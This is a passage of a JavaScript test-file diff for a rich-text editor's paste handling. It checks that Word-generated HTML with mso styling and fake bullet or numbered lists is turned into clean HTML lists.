div.MsoListParagraph {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page Section1 {size:595.3pt 841.9pt; margin:70.85pt 70.85pt 70.85pt 70.85pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0;} div.Section1 {page:Section1;} /* List Definitions */ @list l0 {mso-list-id:1742563504; mso-list-type:hybrid; mso-list-template-ids:-524928352 69009409 69009411 69009413 69009409 69009411 69009413 69009409 69009411 69009413;} @list l0:level1 {mso-level-number-format:bullet; mso-level-text:?; mso-level-tab-stop:none; mso-level-number-position:left; text-indent:-18.0pt; font-family:Symbol;} ol {margin-bottom:0cm;} ul {margin-bottom:0cm;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} </style> <![endif]--> <p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 1</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 2</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 3</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 4</p> <p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 5</p> <p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"><!--[if !supportLists]--><span style="font-family: Symbol;"><span style="">&middot;<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><!--[endif]-->Item 6</p>'});
+	equal(editor.getContent(), '<ul><li>Item 1</li><li>Item 2</li><li>Item 3</li><li>Item 4</li><li>Item 5</li><li>Item 6</li></ul>');
+
+	editor.settings.paste_retain_style_properties = 'border';
+
+	rng = editor.dom.createRng();
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="ListStyle" style="margin-top:0cm;margin-right:0cm;margin-bottom:3.0pt;margin-left:18.0pt;mso-add-space:auto;text-align:justify;text-indent:-18.0pt;mso-list:l0 level1 lfo1;tab-stops:list 18.0pt"><span lang="DE" style="font-family:Verdana;mso-fareast-font-family:Verdana;mso-bidi-font-family:Verdana;color:black"><span style="mso-list:Ignore">\u25CF<span style="font:7.0pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span lang="DE" style="font-family:Arial;mso-fareast-font-family:Arial;mso-bidi-font-family:Arial;color:black">Item&nbsp; Spaces.<o:p></o:p></span></p>'});
+	equal(editor.getContent(), '<ul><li>Item&nbsp; Spaces.</li></ul>');
+
+	rng = editor.dom.createRng();
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="ListStyle" style="margin-left:36.0pt;mso-add-space:auto;text-indent:-18.0pt;mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"><span lang="EN-US" style="color:black;mso-ansi-language:EN-US"><span style="mso-list:Ignore">1.<span style="font:7.0pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span lang="EN-US" style="font-family:Arial;mso-fareast-font-family:Arial;mso-bidi-font-family:Arial;color:black;mso-ansi-language:EN-US">Version 7.0</span><span lang="EN-US" style="font-family:Arial;mso-fareast-font-family:Arial;mso-bidi-font-family:Arial;color:black;mso-ansi-language:EN-US">:<o:p></o:p></span></p>'});
+	equal(editor.getContent(), '<ol><li>Version 7.0:</li></ol>');
+});
+
+test("Paste Word fake list before BR", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertContent', false, '<br>a');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 0);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 12"><meta name="Originator" content="Microsoft Word 12"><link rel="File-List" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"><link rel="themeData" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"><link rel="colorSchemeMapping" href="file:///C:%5CUsers%5Cspocke%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves/> <w:TrackFormatting/> <w:HyphenationZone>21</w:HyphenationZone> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF/> <w:LidThemeOther>SV</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> <w:SplitPgBreakAndParaMark/> <w:DontVertAlignCellWithSp/> <w:DontBreakConstrainedForcedTables/> <w:DontVertAlignInTxbx/> <w:Word11KerningPairs/> <w:CachedColBalance/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math"/> <m:brkBin m:val="before"/> <m:brkBinSub m:val="&#45;-"/> <m:smallFrac m:val="off"/> <m:dispDef/> <m:lMargin m:val="0"/> <m:rMargin m:val="0"/> <m:defJc m:val="centerGroup"/> <m:wrapIndent m:val="1440"/> <m:intLim m:val="subSup"/> <m:naryLim m:val="undOvr"/> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true" DefSemiHidden="true" DefQFormat="false" DefPriority="99" LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Normal"/> <w:LsdException Locked="false" Priority="9" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="heading 1"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/> <w:LsdException Locked="false" Priority="39" Name="toc 1"/> <w:LsdException Locked="false" Priority="39" Name="toc 2"/> <w:LsdException Locked="false" Priority="39" Name="toc 3"/> <w:LsdException Locked="false" Priority="39" Name="toc 4"/> <w:LsdException Locked="false" Priority="39" Name="toc 5"/> <w:LsdException Locked="false" Priority="39" Name="toc 6"/> <w:LsdException Locked="false" Priority="39" Name="toc 7"/> <w:LsdException Locked="false" Priority="39" Name="toc 8"/> <w:LsdException Locked="false" Priority="39" Name="toc 9"/> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/> <w:LsdException Locked="false" Priority="10" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Title"/> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/> <w:LsdException Locked="false" Priority="11" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/> <w:LsdException Locked="false" Priority="22" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Strong"/>  <w:LsdException Locked="false" Priority="20" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>  <w:LsdException Locked="false" Priority="59" SemiHidden="false" UnhideWhenUsed="false" Name="Table Grid"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>  <w:LsdException Locked="false" Priority="1" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 1"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 1"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 1"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>  <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>  <w:LsdException Locked="false" Priority="34" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>  <w:LsdException Locked="false" Priority="29" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Quote"/>  <w:LsdException Locked="false" Priority="30" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 1"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 1"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 2"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 2"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 2"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 2"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 2"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 3"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 3"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 3"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 3"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 3"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 4"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 4"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 4"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 4"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 4"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 5"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 5"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 5"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 5"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 5"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>  <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 6"/>  <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 6"/>  <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 6"/>  <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>  <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>  <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>  <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>  <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>  <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>  <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>  <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 6"/>  <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>  <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 6"/>  <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>  <w:LsdException Locked="false" Priority="19" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>  <w:LsdException Locked="false" Priority="21" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>  <w:LsdException Locked="false" Priority="31" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>  <w:LsdException Locked="false" Priority="32" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>  <w:LsdException Locked="false" Priority="33" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>  <w:LsdException Locked="false" Priority="37" Name="Bibliography"/>  <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>  </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1610611985 1073750139 0 0 159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; 